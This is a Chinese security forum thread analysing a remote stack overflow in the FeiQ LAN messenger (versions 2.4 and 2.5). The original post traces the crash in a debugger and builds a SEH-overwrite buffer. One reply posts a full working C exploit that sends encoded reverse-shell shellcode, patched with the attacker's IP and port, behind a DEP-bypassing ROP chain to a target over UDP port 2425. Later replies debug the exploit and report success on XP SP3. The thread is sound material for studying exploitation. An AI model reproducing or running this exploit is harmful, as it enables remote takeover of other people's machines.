首页
社区
课程
招聘
[原创]artake 飞秋远程可利用0day 的详细分析和利用方法
发表于: 2011-12-10 01:52 11724

[原创]artake 飞秋远程可利用0day 的详细分析和利用方法

2011-12-10 01:52
11724

artake大大在《 飞秋远程可利用0day》中已经对该BUG进行了详细的描述。
飞秋是个不错的局域网通信软件,相信使用的用户不少,最新版本应该是2.5。考虑到可能对很多使用者造成隐患,这边就拿低一点的版本进行分析,为2.4版本。
其实artake已经说得很清楚了,很多大大可能不屑于这么简单的栈溢出,我这边权且当做抛砖引玉吧,见笑了。

一、
根据artake 提供的POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
调试定位到出现bug时的代码:

0049061C  |. /EB 2E         jmp     short 0049064C
0049061E  |> |81FB FF3F0000 cmp     ebx, 3FFF
00490624  |. |B8 FF3F0000   mov     eax, 3FFF
00490629  |. |7F 02         jg      short 0049062D
0049062B  |. |8BC3          mov     eax, ebx
0049062D  |> |8B7424 20     mov     esi, dword ptr [esp+20]
00490631  |. |8BC8          mov     ecx, eax
00490633  |. |8BD9          mov     ebx, ecx
00490635  |. |C1E9 02       shr     ecx, 2
00490638  |. |F3:A5         rep     movs dword ptr es:[edi], dword p>;  //在拷贝时溢出出错
0049063A  |. |8BCB          mov     ecx, ebx
0049063C  |. |8B5C24 2C     mov     ebx, dword ptr [esp+2C]
00490640  |. |83E1 03       and     ecx, 3
00490643  |. |40            inc     eax

在执行到00490638时,寄存器状态如下:

EAX FFFFFFFF
ECX 3FFFFFFF
EDX 00000000
EBX FFFFFFFF
ESP 0011B450
EBP 001235C8 ASCII "admin"
ESI 0011F525
EDI 00123670
EIP 00490638 飞秋FeiQ.00490638

可知从ESI地址拷贝3FFFFFFF byte数据到[00123670],拷贝时数据从低位往高位增长,即堆栈往下增长,堆栈栈底信息如下:
0012FFEC   00000000
0012FFF0   00000000
0012FFF4   00000000
0012FFF8   00552DC7  飞秋FeiQ.<ModuleEntryPoint>
0012FFFC   00000000

00123670 + 3FFFFFFF>0012FFFC  ,明显溢出。

二、
溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:
SEH 链用于  主线程
地址       SE处理程序
0011F498   飞秋FeiQ.00589B89
0012D5F4   飞秋FeiQ.00593AA7
0012D678   飞秋FeiQ.00595644
0012D728   USER32.77D4048F
0012D788   USER32.77D4048F
0012D80C   飞秋FeiQ.005955B4
0012FF08   飞秋FeiQ.00586673
0012FFB0   飞秋FeiQ.00555990
0012FFE0   kernel32.7C839AD8

堆栈值>123670(拷贝的第一个EDI地址)的第一个SEH链为0012D5F4,进去看具体堆栈:
0012D5F0   0050F55F  返回到 飞秋FeiQ.0050F55F 来自 飞秋FeiQ.00550870
0012D5F4   0012D678  指向下一个 SEH 记录的指针
0012D5F8   00593AA7  SE处理程序

0012D5FC   FFFFFFFF

初步构思淹没SEH指针和处理程序,从而能执行到自己的shellcode,构思结果如下:
0012D5F4   06EB06EB   指向下一个 SEH 记录的指针,这里更改为相当于jmp +4,跳到0012D5FC执行shellcode
0012D5F8   7FFA1571   SE处理程序,这个地址是经典的POP,POP,RET地址,XP SP1,SP2,SP3应该是通用
0012D5FC   0089E8FC   这里为shellcode开始地址

0012D600   89600000
0012D604   64D231E5
0012D608   8B30528B
0012D60C   528B0C52

三、
初步分析后,考虑如何实现以上淹没过程,首先需计算偏移,使其能正确淹没SEH地址。在这个例子中,计算偏移的方法比较简单,可直接利用artake提供的POC程序定位:
当数据刚好淹没到0012D5F8时,此时ESI数据位:1294A9,而数据开始地址为1277BB,则1294A9 - 1277BB = 1CEE。
也就是说数据偏移0X1CEE处即应为数据06EB06EB(jmp +4)。

在artake大大的代码下,简略更改如下:
char senddata1[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
char befor_shellcode[] ="\xeb\x06\xeb\x06\x71\x15\xfa\x7f"; //8 byte       
int i=0;
int senddata1length = strlen(senddata1);
memset(sendbuf,'A',0x3fff);
strcpy(sendbuf,senddata1);
strcpy(sendbuf+senddata1length+0x1cee,befor_shellcode);
strcpy(sendbuf+senddata1length+strlen(befor_shellcode) + 0x1cee,shellcode);
上面的shellcode就不列出来了,是绑定端口或反弹端口或下载执行,仁者见仁,智者见智吧,如果shellcode里面有byte为0x00,那么可用encode方式或直接用for循环拷贝到sendbuf即可。

执行效果如下:


在winxp下通用。


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (18)
雪    币: 22
活跃值: (1203)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
好,分析的很详细。
2011-12-10 15:22
0
雪    币: 3171
活跃值: (81)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
3
分析的不错,鼓励
2011-12-10 16:35
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
根所提供的代码,xp sp3下测试飞秋2.4及2.4修正版都失败.请教.
2011-12-10 19:07
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
根所提供的代码,xp sp3下测试飞秋2.4及2.4修正版都失败.大牛指教
2011-12-11 18:16
0
雪    币: 418
活跃值: (63)
能力值: ( LV12,RANK:260 )
在线值:
发帖
回帖
粉丝
6
POC为artake提供,我提供的代码是溢出定位的那一部分,你应该是其它的地方写错了,
我在公司多台电脑上测试过了,2.4修正版,XP通用。
2011-12-12 00:18
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
小弟.是初学者.能否把代码发给小弟一份学习下.554151688@qq.com
十分感谢.
2011-12-12 00:33
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我顺便把我的代码发到你邮箱里了,哪有不对请大牛多多指教..切勿拍砖.
2011-12-12 00:41
0
雪    币: 418
活跃值: (63)
能力值: ( LV12,RANK:260 )
在线值:
发帖
回帖
粉丝
9
各下断点跟踪下,看发送的是不是自己想要的,然后再用OD下feiq,看堆栈是否被正确覆盖了,很简单的,一跟就出来了,没什么陷阱,而且这个堆栈向下空间很大,shellcode 也没什么限制,很好弄
2011-12-12 01:00
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
大牛你说的.陷井,是神马意思.小弟才疏学浅,请指教
2011-12-12 18:58
0
雪    币: 16
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
haw
11
楼主你好,我按你的代码去执行,调试时EIP被覆盖为41414141,出现异常,但并未触发至SEH链,这是什么情况啊
2011-12-14 16:08
0
雪    币: 16
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
haw
12

请问楼主,“数据开始地址为1277BB”是怎么得出来的?
上传的附件:
2011-12-14 19:03
0
雪    币: 418
活跃值: (63)
能力值: ( LV12,RANK:260 )
在线值:
发帖
回帖
粉丝
13
[QUOTE=haw;1029339]
请问楼主,“数据开始地址为1277BB”是怎么得出来的?[/QUOTE]

1277BB是栈底啊。
没触发异常??你shift_f9了?
2011-12-19 14:32
0
雪    币: 377
活跃值: (10)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
14
为啥我的也没有触发异常 程序直接退出了 XP SP2下
2012-3-27 00:41
0
雪    币: 196
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
#include "stdio.h"
#include "windows.h"
#include "winsock.h"
#pragma comment(lib,"Ws2_32.lib")

int main(int argc, char* argv[])
{

if(argc != 4)
{
  printf("飞秋 2.5 远程栈溢出漏洞(SEH/DEP bypass)(TCP端口2425) Exploit\r\n\r\n");
  printf("\t\t\t\t\tconcat:");
  printf("用法:feiqiuexp <目标IP> <你的IP> <你监听的端口>\r\n\r\n");
  return 0;
}

char header[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#2147483648#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
char shellcode[] = "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01\xFC"
"\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30\x96"
"\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5\xD7\xF2\xF2\xE4"
"\xF3\xE5\xE5\x96\xDA\xF9\xF7\xF2\xDA\xFF\xF4\xE4\xF7\xE4\xEF\xD7"
"\x96\xD5\xE4\xF3\xF7\xE2\xF3\xC6\xE4\xF9\xF5\xF3\xE5\xE5\xD7\x96"
"\xD3\xEE\xFF\xE2\xC6\xE4\xF9\xF5\xF3\xE5\xE5\x96\xE1\xE5\xA4\xC9"
"\xA5\xA4\x96\xC1\xC5\xD7\xC5\xE2\xF7\xE4\xE2\xE3\xE6\x96\xC1\xC5"
"\xD7\xC5\xF9\xF5\xFD\xF3\xE2\xD7\x96\xF5\xF9\xF8\xF8\xF3\xF5\xE2"
"\x96\xF5\xFB\xF2\x96\xCC\xC4\xF2\xF1\x37\xA6\x96\x1D\xD6\x9A\x1D"
"\xE6\x8A\x3B\x1D\xCE\x9E\x1D\xE5\xAA\x95\x65\x1D\xE0\xEE\x95\x65"
"\x1D\xE8\xB6\x95\x6D\x1D\xD8\x82\xC0\xA5\x56\xC1\xC7\x1D\xA9\x95"
"\x6D\x1D\x64\xA5\x5F\x27\x98\x65\x30\xCF\xC9\xE2\x90\x15\x51\x92"
"\xD6\x74\x7E\xC8\x1D\xC0\xB2\x95\x45\x47\x76\x95\x54\xA5\x5F\xF0"
"\x1D\x9E\x1D\xD0\x8A\x95\x55\x57\x77\x94\x95\x57\x1D\x86\x95\x45"
"\xC8\x1D\x68\xA5\x5F\x27\x95\x7E\xEA\x96\x96\x96\x15\x50\x9A\xC4"
"\xC0\x69\xC1\x62\xCC\x1D\x4E\xA5\x5F\x27\x95\x7E\xFE\x96\x96\x96"
"\x15\x50\x9E\xC3\xFE\x97\x97\x96\x96\x69\xC1\x62\xA5\x56\xC6\xC6"
"\xC6\xC6\xD6\xC6\xD6\xC6\x69\xC1\x6E\x1D\x4E\xF0\x51\xD3\x96\x94"
"\x96\xF0\x51\xD3\x94\x96\xC6\x51\xD3\x92\x56\x3E\x97\xBF\xFC\x86"
"\xC3\xC5\x69\xC1\x6A\xA5\x5F\x27\x87\xC1\x1D\x6B\x65\x3D\xC9\x50"
"\xD3\x96\xD2\x1F\xCB\xAA\x1F\xCB\xAE\x1F\xCB\xD6\xF0\x51\xD3\xBA"
"\x97\x97\x1B\xD3\xD2\xC6\xC3\xC7\xC7\xC7\xD7\xC7\xDF\xC7\xC7\xC0"
"\xC7\x69\xC1\x7A\xC6\x69\xC1\x66\x1C\x90\xD0\x12\x56\xE3\x6F\xC7"
"\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

DWORD port = 2425;//飞秋端口
char* ip = argv[1];//IP
unsigned long Local_Ip = inet_addr(argv[2])^0x96969696;
u_short Local_Port = htons(atoi(argv[3]))^(u_short)0x9696;
memcpy(&shellcode[0x12e], &Local_Ip ,4);
memcpy(&shellcode[0x129], &Local_Port, 2);

int header_size = strlen(header);  //0x59
// int junk_size = 0x1cee;
int junk_size = 0x1cd6;
int shellcode_size = strlen(shellcode);
int code_size = 0x20;
int sendbuf_size = header_size + junk_size + code_size + shellcode_size + 1;

char* sendbuf = new char[sendbuf_size];
char* junk = new char[junk_size + 1];
// char code_digest[] = "\x90\x90\xeb\x04"
//          "\x71\x15\xfa\x7f";  
char code_digest[] = "\x90\x90\xeb\x1c"  //-> 2.5
      // "\x71\x15\xfa\x7f"  //0x7ffa1571 win03\xp/2k p/p/r
       "\x1e\x51\x50\x00" //0050511e :  {pivot 1484}  # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,5C8 # RETN
       "";
char ver25_rop[] =  ""
"\xfd\x02\x88\x7c" //0x7c8802fd :  # POP EAX # RETN 04    ** [kernel32.dll
"\x20\x11\xbe\x77" // &VirtualProtect()
"\xa3\x20\x68\x74" //0x746820a3 :  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04    ** [MSCTF.dll]
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xbc\xa5\x68\x74" //0x7468a5bc : # PUSH EAX # POP ESI # POP EBP # RETN 04    ** [MSCTF.dll
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xfd\x02\x88\x7c" //0x7c8802fd :  # POP EAX # RETN 04    ** [kernel32.dll
"\x90\x90\x90\x90"
"\x43\xb8\x80\x7c" //--> ptr to 0x40  -->eax in kernel32
"\xa3\x20\x68\x74" //0x746820a3 :  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04    ** [MSCTF.dll]
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x44\x71\xdd\x74" //0x74dd7144 : # XCHG EAX,EDX # RETN    ** [RICHED20.dll]
"\x90\x90\x90\x90"
"\x74\x1a\xe8\x77" //0x77e81a74 :  # POP ECX # RETN    ** [RPCRT4.dll]
"\x04\x50\x88\x7c" //a waitable addr kernel32.data
"\xfd\x02\x88\x7c" //0x7c8802fd :  # POP EAX # RETN 04    ** [kernel32.dll
"\xa4\xb0\x80\x7c" //ptr to 0x1000 size in kernel32
"\xa3\x20\x68\x74" //0x746820a3 :  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04    ** [MSCTF.dll]
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x13\xfd\xf0\x4a" //0x4af0fd13 : # XCHG EAX,EBX # RETN    ** [gdiplus.dll]
"\x90\x90\x90\x90"
"\x31\x01\xa8\x76" //0x76a80131 :  # POP EBP # RETN 04    ** [ole32.dll]
//"\x0c\x0c\x0c\x0c" //
"\x13\x44\x87\x7c" //7C874413   FFE4                    JMP ESP kernel32.text
"\xfd\x02\x88\x7c" //0x7c8802fd :  # POP EAX # RETN 04    ** [kernel32.dll
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xc3\xcf\x86\x7c" //0x7c86cfc3 :  # POP EDI # RETN    ** [kernel32.dll
"\x90\x90\x90\x90"
"\x13\x03\x88\x7c" //7C880313  --> RETN in kernel32
"\xd3\x4f\x61\x7d" //0x7d614fd3 :  # PUSHAD # RETN    ** [SHELL32
"";

int ver25_rop_offset = 343;

ZeroMemory(sendbuf, sendbuf_size);
ZeroMemory(junk, junk_size + 1);
memset(junk, 0x90, junk_size);

memcpy(sendbuf, header, header_size);
memcpy(sendbuf + header_size, junk, junk_size);
//rop chain
memcpy(sendbuf + header_size + ver25_rop_offset, ver25_rop, strlen(ver25_rop));
memcpy(sendbuf + header_size + ver25_rop_offset + strlen(ver25_rop), shellcode, shellcode_size);
memcpy(sendbuf + header_size + junk_size, code_digest, code_size);

// return printf("%s\r\n", sendbuf);

// char *ip = "192.168.113.128";

WORD vr=0x0101;
WSAData wsadata;
SOCKET sock;
struct  sockaddr_in address;
if (!WSAStartup(vr,&wsadata))
{
  if ((sock = socket(AF_INET,SOCK_DGRAM,0))!= INVALID_SOCKET)
  {
   address.sin_family=AF_INET;
   address.sin_port = htons(port);
   address.sin_addr.s_addr=inet_addr(ip);
   if (SOCKET_ERROR == sendto(sock,sendbuf,strlen(sendbuf),0,(struct sockaddr *)&address,sizeof(address)))
   {
    port = WSAGetLastError();
    printf("数据发送出错了,%d\n",port);
   }
   
  }else{
   printf("Error\n");
  }
}else{
  printf("Error\n");
}
delete sendbuf;
delete junk;
return printf("数据发送完毕,请在你监听的端口处等待片刻。 祝你好运!\r\n");
}
2012-3-28 05:42
0
雪    币: 246
活跃值: (106)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
16
关于飞秋,我在几年前分析其加密通讯时就在想是否有溢出,后来一直因工作岗位变动的原因没有时间,最近又在想相关问题,上周五,正在对其初步分析,还在想实在没漏洞就人为制造出呢。
看大大zenghw的分析很兴奋,从网上下了2.4修正版,用OD下了断点,地址都和大大分析的一样,怎么中断不了?大大是怎样中断在这的?
关于1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......是一个什么样的数据包?版本协商?身份?一般消息通讯?
2013-4-21 11:13
0
雪    币: 246
活跃值: (106)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
17
将大大提供的代码编译执行了下,对照OD,明白了一点点,但代码并没成功,至少在我的XP SP3上没成功,如下:
char header[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#2147483648#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";这是个可能理解为数据结构,其中2147483648是包大小,会在2.4修正版.
text:004903B0                 call    _atoi
.text:004903B5                 add     esp, 0Ch
.text:004903B8                 lea     ecx, [esp+4054h+var_4014]
.text:004903BC                 mov     [esp+4054h+var_4028], eax ; 这儿产生包大小
_atoi执行完成后,包大小为:-2147483648,即0x80000000
.text:0049061E                 cmp     ebx, 3FFFh      ; 比较包大小是否小于等于0x3fff
.text:00490624                 mov     eax, 3FFFh
负数肯定小于,于是就有下面的copy,即copy 0x80000000大小,原来飞秋是进行过大小检测,但未进行负数检测,于是利用了。我测试问题就出来了,大小0x80000000的copy会copy到80000000内存,于是程序退出了,那个说明下.
2013-4-21 16:04
0
雪    币: 246
活跃值: (106)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
18
WAHAHA,我终于明白了,原来2.5版在XP SP3下也可以成功!
关键点:
     代码覆盖了SEH链(是第二个),虽然当前也安装了异常处理程序,但SEH会进行链表查找,当前SEH不能处理时,交上层处理,于是上层(被改写那个)接管。但是SP3会对SEH回调检测:
7C94A897    50              push    eax
7C94A898    E8 67000000     call    7C94A904                                     ; 计算比较异常回调地址,怎样计算?
7C94A89D    84C0            test    al, al
7C94A89F  ^ 0F84 A9E0FFFF   je      7C94894E                                     ; ntdll.7C94894E

一般的地址是不行的,你要精心找地址,找到后任然可以。
    还没明白是的SEH用POP,POP,RET方式还没明白.....
2013-4-22 23:18
0
雪    币: 2264
活跃值: (437)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
19
对于V2.4正式版,v2.4修正版, v2.5正式版通杀,这三个EXE中有相同的地址为pop pop ret,这个地址中有00,正好做字符串的结束符。在测试时,把shellcode放在前面了,用nseh跳过去的。
对于v2.5测试版,要改sendbuf的长度及p  p  r 的地址,也测试成功。
2013-5-6 17:48
0
游客
登录 | 注册 方可回帖
返回